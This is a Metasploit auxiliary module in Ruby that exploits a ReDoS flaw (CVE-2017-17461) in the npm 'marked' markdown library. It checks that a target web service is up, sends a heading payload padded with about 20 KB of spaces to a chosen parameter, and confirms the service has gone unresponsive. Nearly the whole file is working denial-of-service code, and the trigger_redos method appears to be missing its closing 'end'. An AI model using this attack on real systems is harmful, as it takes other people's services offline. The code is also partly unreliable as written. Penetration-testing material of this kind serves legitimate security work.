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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'marked npm module "heading" ReDoS',
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      'Description' => %q{
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        This module exploits a Regular Expression Denial of Service vulnerability
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        in the npm module "marked". The vulnerable portion of code that this module
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        targets is in the "heading" regular expression. Web applications that use
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        "marked" for generating html from markdown are vulnerable. Versions up to
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        0.4.0 are vulnerable.
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      },
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      'References'  =>
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        [
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          ['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
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          ['CWE', '400']
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        ],
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      'Author'      =>
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        [
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          'Adam Cazzolla, Sonatype Security Research',
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          'Nick Starke, Sonatype Security Research'
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        ],
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      'License'     =>  MSF_LICENSE
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    ))
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    register_options([
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      Opt::RPORT(80),
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      OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
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      OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
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      OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
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    ])
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  end
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  def run
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    if test_service
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      trigger_redos
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      test_service_unresponsive
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    else
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      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
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    end
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  end
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  def trigger_redos
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    begin
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      print_status("Sending ReDoS request to #{peer}.")
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      params = {
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        'uri' => normalize_uri(target_uri.path),
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        'method' => datastore['HTTP_METHOD'],
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          ("vars_#{datastore['HTTP_METHOD'].downcase}") => {
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            datastore['HTTP_PARAMETER'] =>  "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
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        }
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      }
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      res = send_request_cgi(params)
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      if res
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        fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
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      end
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      print_status("No response received from #{peer}, service is most likely unresponsive.")
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    rescue ::Rex::ConnectionRefused
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      print_error("Unable to connect to #{peer}.")
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    rescue ::Timeout::Error
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      print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
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    end
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  def test_service_unresponsive
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    begin
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      print_status('Testing for service unresponsiveness.')
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      res = send_request_cgi({
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        'uri' => '/' + Rex::Text.rand_text_alpha(8),
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        'method' => 'GET'
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      })
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      if res.nil?
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        print_good('Service not responding.')
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      else
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        print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
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      end
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    rescue ::Rex::ConnectionRefused
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      print_error('An unknown error occurred.')
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    rescue ::Timeout::Error
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      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
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    end
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  end
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  def test_service
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    begin
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      print_status('Testing Service to make sure it is working.')
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      res = send_request_cgi({
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        'uri' => '/' + Rex::Text.rand_text_alpha(8),
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        'method' => 'GET'
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      })
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      if res && res.code >= 100 && res.code < 500
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        print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
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        return true
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      else
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        return false
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      end
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    rescue ::Rex::ConnectionRefused
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      print_error("Unable to connect to #{peer}.")
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      return false
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    end
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  end
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end
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